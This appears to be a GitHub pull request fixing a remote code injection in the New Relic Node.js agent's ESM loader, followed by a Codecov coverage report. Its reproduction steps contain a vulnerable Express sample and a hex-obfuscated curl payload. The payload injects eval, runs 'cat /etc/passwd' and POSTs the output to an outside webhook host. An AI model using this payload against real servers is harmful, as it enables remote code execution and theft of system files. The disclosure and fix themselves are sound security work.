security: updated esm loader track instrumentation by url in a map instead of in url to avoid remote code executions

[bizob2828]

Description

We had a report about a potential Remote Code Injection(RCE). Although technically true the risk of this happening is lower
than the initial report. It requires customers to be importing paths with tainted strings and then provide this attack vector.

import express from 'express'

const app = express()

app.get('/', async (request, response) => {
  const { lang } = request.query
  const { joke } = await import(`./strings/${lang}.mjs`)
  response.send(joke)
})

app.listen(7777, () => {
  console.log('Listening at http://localhost:7777')
})

Note: If request.query.lang was never imported as part of path this RCE does not exist.

Steps to reproduce

1. npm i express newrelic
2. Use this sample app above.
3. Create a newrelic config.
4. Run node --loader newrelic/esm-loader.mjs index.mjs
5. curl "http://localhost:7777/?lang=en.mjs?hasNrInstrumentation=true%23';eval('console.log\x28\x27INJECTED\x27\x29\x0Aimport\x28\x27child_process\x27\x29\x0A\x20\x20.then\x28childProcess\x20\x3D\x3E\x20childProcess.execSync\x28\x27cat\x20\x2Fetc\x2Fpasswd\x27\x29\x29\x0A\x20\x20.then\x28data\x20\x3D\x3E\x20Promise.all\x28\x5Bdata\x2C\x20import\x28\x27http\x27\x29\x5D\x29\x29\x0A\x20\x20.then\x28\x28\x5Bdata\x2C\x20http\x5D\x29\x20\x3D\x3E\x20\x7B\x0A\x20\x20\x20\x20http.request\x28\x27http\x3A\x2F\x2Fapi.webhookinbox.com\x2Fi\x2FqzSmWSJa\x2Fin\x2F\x27\x2C\x20\x7B\x0A\x20\x20\x20\x20\x20\x20method\x3A\x20\x27POST\x27\x0A\x20\x20\x20\x20\x7D\x29.end\x28data\x29\x0A\x20\x20\x7D\x29');'"

If you use this PR and repeat steps above you will not see the INJECTED string in the console nor will it post the contents of /etc/passwd to the webhook.

Context

It is worth noting we will still append hasNrInstrumentation to urls and then remove on wrap. But we will not rely on this to determine instrumentation. I have found that if we do not modify the resolved specifier url we cannot do imports within the load hook. As we have discussed as a team this entire loader is getting re-tooled to support Node 20. I just had to address this as we have SLAs on security reports.

[codecov]

Codecov Report

Merging #1741 (7b8330b) into main (8d66123) will increase coverage by 0.00%.
Report is 2 commits behind head on main.
The diff coverage is 100.00%.

@@           Coverage Diff           @@
##             main    #1741   +/-   ##
=======================================
  Coverage   96.85%   96.85%           
=======================================
  Files         200      200           
  Lines       39205    39220   +15     
  Branches       23       22    -1     
=======================================
+ Hits        37972    37987   +15     
  Misses       1233     1233           

Flag	Coverage Δ
esm-unit-tests-16.x	92.85% <100.00%> (+0.42%)	⬆️
esm-unit-tests-18.x	92.85% <100.00%> (+0.42%)	⬆️
integration-tests-16.x	79.11% <ø> (ø)
integration-tests-18.x	79.11% <ø> (+<0.01%)	⬆️
integration-tests-20.x	79.12% <ø> (-0.01%)	⬇️
unit-tests-16.x	91.46% <ø> (ø)
unit-tests-18.x	91.44% <ø> (ø)
unit-tests-20.x	91.44% <ø> (ø)
versioned-tests-16.x	77.03% <ø> (-0.08%)	⬇️
versioned-tests-18.x	77.03% <ø> (-0.08%)	⬇️
versioned-tests-20.x	76.07% <ø> (+0.10%)	⬆️

Flags with carried forward coverage won't be shown. Click here to find out more.

Files Changed	Coverage Δ
esm-loader.mjs	93.04% <100.00%> (+0.48%)	⬆️

📣 We’re building smart automated test selection to slash your CI/CD build times. Learn more